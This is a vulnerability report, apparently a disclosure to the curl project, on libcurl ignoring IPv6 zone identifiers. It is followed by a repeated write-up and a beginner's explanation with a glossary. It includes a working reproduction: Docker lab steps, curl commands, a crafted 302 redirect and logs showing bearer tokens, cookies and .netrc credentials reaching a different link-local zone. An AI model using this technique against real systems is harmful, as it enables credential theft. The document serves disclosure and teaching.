libcurl omits IPv6 zoneid from host identity and leaks credentials/cookies across scoped link-local realms
libcurl ignores the IPv6 zone identifier when deciding whether two hosts are the same for redirect credential forwarding, cookie storage and .netrc lookup, while still using the zone identifier for routing. An attacker controlling one scoped link-local origin can therefore receive credentials, cookies or .netrc secrets intended for a different zone that shares the same numeric address.
- Disclosed after 2 days
Summary:
libcurl omits the IPv6 zoneid component from multiple security-sensitive host identity decisions even though the connection layer still routes by zoneid. As a result, two distinct scoped/link-local destinations such as [fe80::X%zoneA] and [fe80::X%zoneB] are treated as the same host by redirect credential guards, cookie identity, and .netrc lookup. I reproduced three consequences: redirect-protected secrets are forwarded cross-zone, host-only cookies cross-zone, and .netrc credentials apply cross-zone. This reproduces on my local checkout (curl 8.19.0-DEV), my local master build (curl 8.20.0-DEV), and the installed system curl /usr/bin/curl 8.19.0 on Kali Linux. This appears distinct from CVE-2022-27775, which was about connection reuse / conncache keying rather than redirect, cookie, and credential host identity. The root cause is that zoneid is ignored in security-sensitive host comparisons but still used later as scope_id for actual routing.
Affected version
Installed system curl:
curl 8.19.0 (x86_64-pc-linux-gnu) libcurl/8.19.0 OpenSSL/3.5.5 zlib/1.3.1 brotli/1.2.0 zstd/1.5.7 libidn2/2.3.8 libpsl/0.21.5 libssh2/1.11.1 nghttp2/1.68.1 ngtcp2/1.21.0 nghttp3/1.15.0 librtmp/2.3 mit-krb5/1.22.1 OpenLDAP/2.6.10 Release-Date: 2026-03-11, security patched: 8.19.0-1 Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns ldap ldaps mqtt mqtts pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp ws wss Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTP3 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd
Also reproduced on:
curl 8.19.0-DEV (Linux) libcurl/8.19.0-DEV ... curl 8.20.0-DEV (Linux) libcurl/8.20.0-DEV ...
Platform:
Linux kali 6.12.38+kali-amd64 x86_64 GNU/Linux
Steps To Reproduce:
I used a local Docker lab with two different IPv6 bridge networks. Two containers are given the same MAC address so they receive the same link-local IPv6 address on different interfaces, which creates two distinct scoped destinations with the same numeric fe80:: address.
Repro 1: redirect-protected secrets leak cross-zone
- Create two Docker IPv6 bridge networks, netA and netB.
- Start container A on netA and container B on netB, both with the same MAC address.
- Container A returns:
HTTP/1.0 302 Found Location: http://[fe80::42:acff:fe11:2%25br-B]:18080/target
- Request:
curl -g -v -L --noproxy '*' --oauth2-bearer s3cr3t
"http://[fe80::42:acff:fe11:2%25br-A]:18080/start"
- Observe that curl follows the redirect and still sends:
Authorization: Bearer s3cr3t
- The second container receives it:
B-installed path=/bearer/target auth=Bearer s3cr3t cookie=None
I reproduced the same redirect leak shape with:
- -u user:secret
- --oauth2-bearer s3cr3t
- -H 'Authorization: s3cr3t'
- -H 'Cookie: test=yes'
This happens without --location-trusted / CURLOPT_UNRESTRICTED_AUTH.
Repro 2: host-only cookies cross-zone
- Make %zoneA return:
Set-Cookie: sid=zonepoison; Path=/
- Seed the cookie jar:
curl -g -v --noproxy '*' -b '' -c jar.txt
"http://[fe80::42:acff:fe11:2%25br-A]:18080/seed"
- The jar stores:
fe80::42:acff:fe11:2 FALSE / FALSE 0 sid zonepoison
- In a fresh invocation, request %zoneB:
curl -g -v --noproxy '*' -b jar.txt
"http://[fe80::42:acff:fe11:2%25br-B]:18080/check"
- Observe:
Cookie: sid=zonepoison
- The second container receives it:
B-installed path=/check auth=None cookie=sid=zonepoison
Repro 3: .netrc credentials apply cross-zone
- Create .netrc:
machine fe80::42:acff:fe11:2 login user password secret
- Request %zoneA:
curl -g -v --basic --netrc-file netrc --noproxy '*'
"http://[fe80::42:acff:fe11:2%25br-A]:18080/a"
- Request %zoneB with the same file:
curl -g -v --basic --netrc-file netrc --noproxy '*'
"http://[fe80::42:acff:fe11:2%25br-B]:18080/b"
- Both requests send:
Authorization: Basic dXNlcjpzZWNyZXQ=
- The second container receives:
B-installed path=/b auth=Basic dXNlcjpzZWNyZXQ= cookie=None
Why this happens
The relevant code paths appear to be:
- lib/urlapi.c::Curl_url_same_origin() compares scheme/host/port but ignores CURLUPART_ZONEID
- lib/http.c stores first_host = conn->host.name
- lib/vauth/vauth.c::Curl_auth_allowed_to_host() compares only host/port/protocol
- lib/http.c / lib/cookie.c key cookies on normalized host strings without zoneid
- lib/url.c performs .netrc lookup using conn->host.name
- lib/url.c::zonefrom_url() later extracts CURLUPART_ZONEID and sets conn->scope_id
Expected result
[fe80::X%zoneA] and [fe80::X%zoneB] should be treated as different security identities for:
- redirect credential forwarding
- protected custom headers
- host-only cookie storage and selection
- .netrc host credential lookup
Impact
Summary:
An attacker controlling one scoped/link-local IPv6 origin, or an open redirect on it, can cause curl/libcurl to send secrets to a different scoped destination that has the same numeric fe80:: address on another interface. This includes built-in credentials, Bearer tokens, protected custom headers, host-only cookies, and .netrc credentials. The bug breaks trust boundaries between distinct link-local realms and can affect multi-homed systems, local automation, containers, service meshes, and other environments where scoped IPv6 addresses are used. The impact is confidentiality loss and cross-realm state confusion without any explicit opt-in such as --location-trusted / CURLOPT_UNRESTRICTED_AUTH. The attack surface is narrower than a generic internet-wide cross-host leak, so I would rate it Medium, but it is a real security boundary failure and not expected behavior.
Context
libcurl builds a notion of "host identity" in several places that are security sensitive: deciding whether credentials may be forwarded on a redirect, deciding whether a custom header is still allowed to be sent, storing and selecting host-only cookies, and looking up .netrc entries. The connection layer, separately, has to know which interface a link-local IPv6 address belongs to, and it does that with the zone identifier (zoneid), the %zone suffix in a URL such as [fe80::1%eth0].
The report shows that these two views disagree. The security-sensitive comparisons ignore the zoneid, while routing still uses it. Two destinations that share the same numeric fe80:: address but sit on different interfaces are therefore treated as one host for credential, cookie and .netrc decisions, even though curl will happily connect to each of them separately.
The researcher notes that this is distinct from CVE-2022-27775, which concerned connection reuse and conncache keying rather than redirect, cookie and credential host identity.
Setup
The issue was reproduced on a local checkout and on an installed system curl. The affected version reported is:
curl 8.19.0 (x86_64-pc-linux-gnu) libcurl/8.19.0 OpenSSL/3.5.5 zlib/1.3.1 brotli/1.2.0 zstd/1.5.7 libidn2/2.3.8 libpsl/0.21.5 libssh2/1.11.1 nghttp2/1.68.1 ngtcp2/1.21.0 nghttp3/1.15.0 librtmp/2.3 mit-krb5/1.22.1 OpenLDAP/2.6.10
Release-Date: 2026-03-11, security patched: 8.19.0-1
Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns ldap ldaps mqtt mqtts pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp ws wss
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTP3 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd
The same behaviour was also seen on two development builds:
curl 8.19.0-DEV (Linux) libcurl/8.19.0-DEV ...
curl 8.20.0-DEV (Linux) libcurl/8.20.0-DEV ...
The platform was:
Linux kali 6.12.38+kali-amd64 x86_64 GNU/Linux
The lab is a local Docker environment with two different IPv6 bridge networks, netA and netB. Two containers are configured with the same MAC address, so each receives the same link-local IPv6 address on its own interface. That produces two distinct scoped destinations that share one numeric fe80:: address, which is exactly the condition the host comparisons fail to distinguish.
Finding it
The zoneid is dropped from multiple security-sensitive host identity decisions while the connection layer still routes by zoneid. In practice, [fe80::X%zoneA] and [fe80::X%zoneB] are treated as the same host by redirect credential guards, cookie identity and .netrc lookup.
Three consequences were reproduced: redirect-protected secrets forwarded across zones, host-only cookies crossing zones, and .netrc credentials applying across zones. The root cause as described is that zoneid is ignored in security-sensitive host comparisons but is still used later as scope_id for actual routing.
Exploitation
Step 1: build two scoped destinations
- Create two Docker IPv6 bridge networks,
netAandnetB. - Start container A on
netAand container B onnetB, both with the same MAC address.
Because both containers share a MAC address, they receive the same link-local IPv6 address on different interfaces. The numeric address is identical; only the zone differs.
Step 2: redirect-protected secrets leak cross-zone
Container A answers the initial request with a redirect to the same numeric address but a different zone:
HTTP/1.0 302 Found
Location: http://[fe80::[redacted]%25br-B]:18080/target
The request that triggers it carries a bearer token:
curl -g -v -L --noproxy '*' --oauth2-bearer s3cr3t \
"http://[fe80::[redacted]%25br-A]:18080/start"
The starting URL is in zone br-A.
curl follows the redirect and still sends the credential:
Authorization: Bearer s3cr3t
The second container, in the other zone, receives it:
B-installed path=/bearer/target auth=Bearer s3cr3t cookie=None
The same redirect leak shape was reproduced with each of these credential sources:
-u user:secret--oauth2-bearer s3cr3t-H 'Authorization: s3cr3t'-H 'Cookie: test=yes'
This happens without --location-trusted or CURLOPT_UNRESTRICTED_AUTH, so the normal redirect guard that is supposed to strip credentials on a host change never fires.
Step 3: host-only cookies cross-zone
Container A in zone br-A sets a cookie:
Set-Cookie: sid=zonepoison; Path=/
The cookie jar is seeded with a fresh invocation:
curl -g -v --noproxy '*' -b '' -c jar.txt \
"http://[fe80::[redacted]%25br-A]:18080/seed"
The jar stores the cookie against the bare numeric address, with no zone:
fe80::[redacted] FALSE / FALSE 0 sid zonepoison
In a separate invocation, the request goes to zone br-B using the same jar:
curl -g -v --noproxy '*' -b jar.txt \
"http://[fe80::[redacted]%25br-B]:18080/check"
curl sends the cookie:
Cookie: sid=zonepoison
The second container receives it:
B-installed path=/check auth=None cookie=sid=zonepoison
Step 4: .netrc credentials apply cross-zone
machine fe80::[redacted] login user password secret
The first request targets zone br-A:
curl -g -v --basic --netrc-file netrc --noproxy '*' \
"http://[fe80::[redacted]%25br-A]:18080/a"
The second request targets zone br-B with the same file:
curl -g -v --basic --netrc-file netrc --noproxy '*' \
"http://[fe80::[redacted]%25br-B]:18080/b"
Both requests send the same header:
Authorization: Basic dXNlcjpzZWNyZXQ=
The second container receives it:
B-installed path=/b auth=Basic dXNlcjpzZWNyZXQ= cookie=None
Root cause
The report points at the following code paths:
lib/urlapi.c::Curl_url_same_origin()compares scheme, host and port but ignoresCURLUPART_ZONEID.lib/http.cstoresfirst_host = conn->host.name.lib/vauth/vauth.c::Curl_auth_allowed_to_host()compares only host, port and protocol.lib/http.candlib/cookie.ckey cookies on normalised host strings without zoneid.lib/url.cperforms.netrclookup usingconn->host.name.lib/url.c::zonefrom_url()later extractsCURLUPART_ZONEIDand setsconn->scope_id.
The split is the whole problem: the identity checks see a host string with no zone, while the transport later uses the zone as scope_id to pick the interface. Every guard that relies on the host string therefore considers the two destinations equal, and every connection is made to the destination the URL actually names. The existing redirect protection, cookie host matching and .netrc host matching all depend on that same incomplete host string, so none of them stops the cross-zone transfer.
Impact
An attacker who controls one scoped or link-local IPv6 origin, or who can place an open redirect on it, can cause curl or libcurl to send secrets to a different scoped destination that has the same numeric fe80:: address on another interface. The secrets covered are built-in credentials, bearer tokens, protected custom headers, host-only cookies and .netrc credentials.
The bug breaks trust boundaries between distinct link-local realms. It can affect multi-homed systems, local automation, containers, service meshes and other environments where scoped IPv6 addresses are used. The result is confidentiality loss and cross-realm state confusion, and it happens without any explicit opt-in such as --location-trusted or CURLOPT_UNRESTRICTED_AUTH.
The researcher rates it Medium because the attack surface is narrower than a generic internet-wide cross-host leak, while stressing that it is a real security boundary failure and not expected behaviour.
Fix
The report does not describe a patch. The expected result it states is that [fe80::X%zoneA] and [fe80::X%zoneB] should be treated as different security identities for redirect credential forwarding, protected custom headers, host-only cookie storage and selection, and .netrc host credential lookup.
Variants to test
- Redirect credential forwarding: serve a
302from one zone to the same numeric address in another zone and check whetherAuthorization,Cookieor custom headers survive. A positive result is the credential arriving at the second zone without--location-trusted. - Cookie jar behaviour: set a host-only cookie in one zone, then request the same numeric address in another zone with the same jar. A positive result is the cookie being sent, and the jar line showing the bare address with no zone.
.netrcmatching: put amachineentry for the numeric address and request it under two different zones. A positive result is the sameAuthorization: Basicheader on both.- A positive result is any case where the identity check treats two routable destinations as one.
- A positive result is the header being forwarded when it should have been dropped.
What happened, in plain words
Imagine two houses that happen to have the same street number, but they sit on two different streets. If a delivery driver only reads the number and ignores the street name, they will happily drop a parcel at the wrong house. That is the shape of the bug described here, except the "houses" are network destinations and the "street name" is a small piece of information called the zone identifier.
curl is a command-line tool for fetching things from the internet, and libcurl is the library underneath it that many other programs use. Both of them have to make security decisions about which host they are talking to: should I send this password along when the server redirects me somewhere else? Should I send this cookie? Should I look up this saved login? The report shows that in one specific situation, those decisions ignore the zone identifier, while the part of curl that actually opens the connection still uses it. So curl thinks it is talking to one host, but it physically connects to another.
The situation only arises with a particular kind of IPv6 address, the newer version of the internet addressing system. Some IPv6 addresses are only meaningful on one local network interface, and they carry a suffix that says which interface, written with a percent sign, like %eth0. That suffix is the zone identifier, or zoneid. Two destinations can share the exact same numeric address and differ only in that suffix, and they are genuinely different places on the network.
The researcher built a small lab to prove this and reproduced three separate leaks: passwords and tokens being forwarded when curl follows a redirect from one zone to another, cookies being sent across zones, and saved logins from a file called .netrc being applied across zones. All of this happens without the user asking for it, and without the special opt-in flag that is normally required before curl will send credentials to a different host.
Context
curl builds a notion of "host identity" in several places that are security sensitive. Host identity is simply curl's internal answer to the question "which machine am I dealing with?". It uses that answer to decide:
- whether credentials may be forwarded on a redirect,
- whether a custom header is still allowed to be sent,
- how to store and select host-only cookies,
- how to look up
.netrcentries.
A redirect is what happens when a web server replies "the thing you want is over there" and gives a new address. A cookie is a small piece of data a website asks your browser (or curl) to keep and send back on later requests, often used to remember that you are logged in. A custom header is an extra line of information attached to a request, and some of them carry secrets. .netrc is a plain text file on your computer that stores logins for different machines so you do not have to type them each time.
The connection layer, separately, has to know which interface a link-local IPv6 address belongs to, and it does that with the zone identifier (zoneid), the %zone suffix in a URL such as [fe80::1%eth0]. A link-local address is an IPv6 address that is only valid on one local link, not across the whole internet, a bit like a room number that only makes sense inside one building.
The report shows that these two views disagree. The security-sensitive comparisons ignore the zoneid, while routing still uses it. Two destinations that share the same numeric fe80:: address but sit on different interfaces are therefore treated as one host for credential, cookie and .netrc decisions, even though curl will happily connect to each of them separately.
The researcher notes that this is distinct from CVE-2022-27775, which concerned connection reuse and conncache keying rather than redirect, cookie and credential host identity. A CVE is a public catalogue number given to a known security flaw, and connection reuse means curl keeping a network connection open to use again later.
Setup
The issue was reproduced on a local checkout and on an installed system curl. A local checkout means the researcher downloaded curl's source code and built it themselves. The affected version reported is:
curl 8.19.0 (x86_64-pc-linux-gnu) libcurl/8.19.0 OpenSSL/3.5.5 zlib/1.3.1 brotli/1.2.0 zstd/1.5.7 libidn2/2.3.8 libpsl/0.21.5 libssh2/1.11.1 nghttp2/1.68.1 ngtcp2/1.21.0 nghttp3/1.15.0 librtmp/2.3 mit-krb5/1.22.1 OpenLDAP/2.6.10
Release-Date: 2026-03-11, security patched: 8.19.0-1
Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns ldap ldaps mqtt mqtts pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp ws wss
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTP3 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd
The first line names the curl version (8.19.0) and the platform it was built for (x86_64-pc-linux-gnu, meaning a 64-bit Linux machine). It also lists libcurl and every supporting library compiled in, such as OpenSSL for encryption and zlib for compression. The second line gives the release date and notes that this build includes security patches. The third line lists the network protocols this build can speak, from plain http to sftp and ws. The fourth line lists optional features that are switched on, such as HTTP2, IPv6 and SSL.
The same behaviour was also seen on two development builds:
curl 8.19.0-DEV (Linux) libcurl/8.19.0-DEV ...
curl 8.20.0-DEV (Linux) libcurl/8.20.0-DEV ...
These are versions built from the source code between official releases, marked -DEV. The ... stands for the rest of the version output, which the report leaves out. Seeing the bug on both an installed release and fresh development builds shows it is not a quirk of one particular package.
The platform was:
Linux kali 6.12.38+kali-amd64 x86_64 GNU/Linux
It says the machine runs Kali Linux (a Linux distribution aimed at security testing), kernel version 6.12.38, on a 64-bit x86 processor.
The lab is a local Docker environment with two different IPv6 bridge networks, netA and netB. Docker is a tool for running small isolated computers, called containers, on one machine. A bridge network is a private virtual network Docker creates so containers can talk to each other. Two containers are configured with the same MAC address, so each receives the same link-local IPv6 address on its own interface. A MAC address is the hardware identifier of a network card; giving two containers the same one is a deliberate trick to make them pick the same address. That produces two distinct scoped destinations that share one numeric fe80:: address, which is exactly the condition the host comparisons fail to distinguish.
Finding it
The zoneid is dropped from multiple security-sensitive host identity decisions while the connection layer still routes by zoneid. In practice, [fe80::X%zoneA] and [fe80::X%zoneB] are treated as the same host by redirect credential guards, cookie identity and .netrc lookup. The square brackets are simply how an IPv6 address is written inside a URL, because the address itself contains colons.
Three consequences were reproduced: redirect-protected secrets forwarded across zones, host-only cookies crossing zones, and .netrc credentials applying across zones. The root cause as described is that zoneid is ignored in security-sensitive host comparisons but is still used later as scope_id for actual routing. scope_id is the internal number curl uses to tell the operating system which interface to send traffic out of.
Exploitation
Step 1: build two scoped destinations
- Create two Docker IPv6 bridge networks,
netAandnetB. - Start container A on
netAand container B onnetB, both with the same MAC address.
Because both containers share a MAC address, they receive the same link-local IPv6 address on different interfaces. The numeric address is identical; only the zone differs. This step exists purely to create the trap: two genuinely separate machines that look identical to anything that only reads the address.
Step 2: redirect-protected secrets leak cross-zone
Container A answers the initial request with a redirect to the same numeric address but a different zone:
HTTP/1.0 302 Found
Location: http://[fe80::[redacted]%25br-B]:18080/target
Line by line: HTTP/1.0 302 Found is the server's reply. The number 302 is the standard code for "this resource has moved, go look at this other address". Location: is the header that carries the new address. The address is fe80::[redacted], the same numeric address as container A, but the zone is now br-B instead of br-A.
The request that triggers it carries a bearer token:
curl -g -v -L --noproxy '*' --oauth2-bearer s3cr3t \
"http://[fe80::[redacted]%25br-A]:18080/start"
Line by line: curl is the program being run. -v means verbose, so curl prints the details of the conversation. -L enables redirect following, so curl will obey the 302 and go to the new address. --noproxy '*' bypasses any configured proxy, so the request goes straight to the address. --oauth2-bearer supplies the token. A bearer token is a secret string that proves who you are, like a wristband at an event: whoever holds it is treated as you. The starting URL is in zone br-A. The backslash at the end of the first line just tells the shell the command continues on the next line.
curl follows the redirect and still sends the credential:
Authorization: Bearer s3cr3t
This is the request header carrying the token. Authorization is the standard header name for proving identity, and Bearer s3cr3t is the token itself. The point is that curl sent it to the new address even though the host changed.
The second container, in the other zone, receives it:
B-installed path=/bearer/target auth=Bearer s3cr3t cookie=None
This is a log line from container B. It says the request arrived at path /bearer/target, it carried the authorization header with the token, and no cookie was sent. The secret crossed from one zone to another.
The same redirect leak shape was reproduced with each of these credential sources:
-u user:secret--oauth2-bearer s3cr3t-H 'Authorization: s3cr3t'-H 'Cookie: test=yes'
-u user:secret supplies a username and password for basic authentication. -H adds a custom header of your choosing, so the last two lines show that even a hand-written Authorization header or a hand-written Cookie header leaks the same way. Trying all four shows the problem is not tied to one way of supplying a secret.
This happens without --location-trusted or CURLOPT_UNRESTRICTED_AUTH, so the normal redirect guard that is supposed to strip credentials on a host change never fires. --location-trusted is the flag a user must normally add to say "yes, I really do want my credentials sent to wherever the redirect points". CURLOPT_UNRESTRICTED_AUTH is the same permission for programs using libcurl. Neither was used, so the guard should have removed the credentials, and it did not.
Step 3: host-only cookies cross-zone
Container A in zone br-A sets a cookie:
Set-Cookie: sid=zonepoison; Path=/
Set-Cookie is the header a server uses to hand a cookie to the client. The cookie is named sid with the value zonepoison. Path=/ says the cookie applies to the whole site, not just one folder.
The cookie jar is seeded with a fresh invocation:
curl -g -v --noproxy '*' -b '' -c jar.txt \
"http://[fe80::[redacted]%25br-A]:18080/seed"
The URL points at /seed in zone br-A, the endpoint that hands out the cookie. The purpose of this step is to make curl store the cookie as it normally would.
The jar stores the cookie against the bare numeric address, with no zone:
fe80::[redacted] FALSE / FALSE 0 sid zonepoison
This is one line of the cookie jar file, with columns separated by spaces. The first column is the domain, here the bare address with no zone. FALSE in the second column means the cookie is not restricted to secure (HTTPS) connections. / is the path. The next FALSE means it is a host-only cookie, meaning it should only ever be sent back to that exact host. 0 is an expiry field. sid is the cookie name and zonepoison its value. The missing zone in the first column is the whole problem: the cookie has been filed under an identity that two different destinations share.
In a separate invocation, the request goes to zone br-B using the same jar:
curl -g -v --noproxy '*' -b jar.txt \
"http://[fe80::[redacted]%25br-B]:18080/check"
-b jar.txt loads the saved cookies from the jar. The URL now names zone br-B, a different destination. If host identity were handled correctly, the host-only cookie would not match and would not be sent.
curl sends the cookie:
Cookie: sid=zonepoison
Cookie is the header that carries cookies back to the server. curl attached the cookie from zone br-A to a request going to zone br-B.
The second container receives it:
B-installed path=/check auth=None cookie=sid=zonepoison
Container B's log shows the request arrived at /check, carried no authorization header, and did carry the cookie. A host-only cookie, which should be scoped to one host, is selected for a different scoped destination.
Step 4: .netrc credentials apply cross-zone
The .netrc file is keyed on the numeric address only:
machine fe80::[redacted] login user password secret
.netrc is a plain text file where each line describes a login for one machine. machine names the host, login gives the username and password gives the password. Here the host is the bare numeric address with no zone, so the entry cannot tell the two zones apart.
The first request targets zone br-A:
curl -g -v --basic --netrc-file netrc --noproxy '*' \
"http://[fe80::[redacted]%25br-A]:18080/a"
The URL points at /a in zone br-A.
The second request targets zone br-B with the same file:
curl -g -v --basic --netrc-file netrc --noproxy '*' \
"http://[fe80::[redacted]%25br-B]:18080/b"
Same options, but the URL now points at /b in zone br-B. The only difference is the zone and the path.
Both requests send the same header:
Authorization: Basic dXNlcjpzZWNyZXQ=
Basic is the name of the scheme, and the long string is the username and password joined with a colon and encoded in base64. Base64 is not encryption; it is just a way of writing bytes using ordinary characters, and anyone can decode it. The point is that the same saved login was used for both zones.
The second container receives it:
B-installed path=/b auth=Basic dXNlcjpzZWNyZXQ= cookie=None
Container B's log shows the request arrived at /b with the basic authorization header and no cookie. The .netrc login meant for one destination was applied to another.
Root cause
The report points at the following code paths:
lib/urlapi.c::Curl_url_same_origin()compares scheme, host and port but ignoresCURLUPART_ZONEID.lib/http.cstoresfirst_host = conn->host.name.lib/vauth/vauth.c::Curl_auth_allowed_to_host()compares only host, port and protocol.lib/http.candlib/cookie.ckey cookies on normalised host strings without zoneid.lib/url.cperforms.netrclookup usingconn->host.name.lib/url.c::zonefrom_url()later extractsCURLUPART_ZONEIDand setsconn->scope_id.
These are file names and function names inside curl's source code. Curl_url_same_origin() is the function that decides whether two URLs count as the same origin, where an origin is the combination of scheme (http or https), host and port. It compares those three but ignores CURLUPART_ZONEID, the constant naming the zone part of a URL. first_host = conn->host.name is a line that saves the host name of the first request so later requests can be compared against it, and that saved name has no zone. Curl_auth_allowed_to_host() decides whether credentials may be sent to a host, and it compares only host, port and protocol. The cookie code keys cookies on normalised host strings, meaning tidied-up host names, again without zoneid. The .netrc lookup uses the same host name. Only zonefrom_url() later pulls out the zone and sets conn->scope_id, the value used for routing.
The split is the whole problem: the identity checks see a host string with no zone, while the transport later uses the zone as scope_id to pick the interface. Every guard that relies on the host string therefore considers the two destinations equal, and every connection is made to the destination the URL actually names. The existing redirect protection, cookie host matching and .netrc host matching all depend on that same incomplete host string, so none of them stops the cross-zone transfer.
Impact
An attacker who controls one scoped or link-local IPv6 origin, or who can place an open redirect on it, can cause curl or libcurl to send secrets to a different scoped destination that has the same numeric fe80:: address on another interface. An open redirect is a page on a site that will forward visitors to any address someone puts in the link, which makes it a handy lever for this kind of trick. The secrets covered are built-in credentials, bearer tokens, protected custom headers, host-only cookies and .netrc credentials.
The bug breaks trust boundaries between distinct link-local realms. It can affect multi-homed systems (machines with more than one network connection), local automation, containers, service meshes and other environments where scoped IPv6 addresses are used. The result is confidentiality loss and cross-realm state confusion, and it happens without any explicit opt-in such as --location-trusted or CURLOPT_UNRESTRICTED_AUTH.
The researcher rates it Medium because the attack surface is narrower than a generic internet-wide cross-host leak, while stressing that it is a real security boundary failure and not expected behaviour. A severity rating of Medium is a rough label for how serious a flaw is, balancing how easy it is to exploit against how much damage it can do.
Fix
The report does not describe a patch. The expected result it states is that [fe80::X%zoneA] and [fe80::X%zoneB] should be treated as different security identities for redirect credential forwarding, protected custom headers, host-only cookie storage and selection, and .netrc host credential lookup.
Variants to test
- Redirect credential forwarding: serve a
302from one zone to the same numeric address in another zone and check whetherAuthorization,Cookieor custom headers survive. A positive result is the credential arriving at the second zone without--location-trusted. - Cookie jar behaviour: set a host-only cookie in one zone, then request the same numeric address in another zone with the same jar. A positive result is the cookie being sent, and the jar line showing the bare address with no zone.
.netrcmatching: put amachineentry for the numeric address and request it under two different zones. A positive result is the sameAuthorization: Basicheader on both.- A positive result is any case where the identity check treats two routable destinations as one.
- A positive result is the header being forwarded when it should have been dropped.
Glossary
- curl: a command-line program for transferring data over network protocols such as HTTP.
- libcurl: the library that does the actual work inside curl and inside many other programs.
- Host identity: curl's internal answer to "which machine am I talking to?", used for security decisions.
- Redirect: a server reply telling the client to go to a different address instead.
- Cookie: a small piece of data a site asks the client to store and send back on later requests.
- Host-only cookie: a cookie that should only ever be sent back to the exact host that set it.
- Custom header: an extra line of information attached to a request, sometimes carrying a secret.
.netrc: a plain text file storing logins for different machines.- IPv6: the newer version of the internet addressing system, using long addresses written with colons.
- Link-local address: an IPv6 address that is only valid on one local network link.
- Zone identifier (zoneid): the
%zonesuffix on a link-local IPv6 address that says which interface it belongs to. scope_id: the internal number curl uses to tell the operating system which interface to use.- CVE: a public catalogue number given to a known security flaw.
- Connection reuse: keeping a network connection open to use again later.
- conncache keying: how curl labels and stores reusable connections.
- Docker: a tool for running small isolated computers, called containers, on one machine.
- Container: an isolated running environment that behaves like a small computer.
- Bridge network: a private virtual network Docker creates so containers can talk to each other.
- MAC address: the hardware identifier of a network card.
- Bearer token: a secret string that proves identity, like a wristband; whoever holds it is treated as you.
- Basic authentication: the simplest login scheme, sending username and password in a header.
- Base64: a way of writing bytes using ordinary characters; not encryption, anyone can decode it.
- Cookie jar: a file where curl saves cookies between runs.
- Percent-encoding: how special characters are written safely inside a URL, e.g.
%25for%. - Globbing: curl's feature of expanding patterns in URLs, disabled with
-g. - Proxy: an intermediary server that requests pass through.
- Origin: the combination of scheme, host and port that defines a web identity.
- Open redirect: a page that forwards visitors to any address someone puts in the link.
- Multi-homed system: a machine with more than one network connection.
- Service mesh: a layer of networking software that manages traffic between services.
- Confidentiality loss: a secret being seen by someone who should not see it.
- Severity rating: a rough label for how serious a flaw is, such as Medium.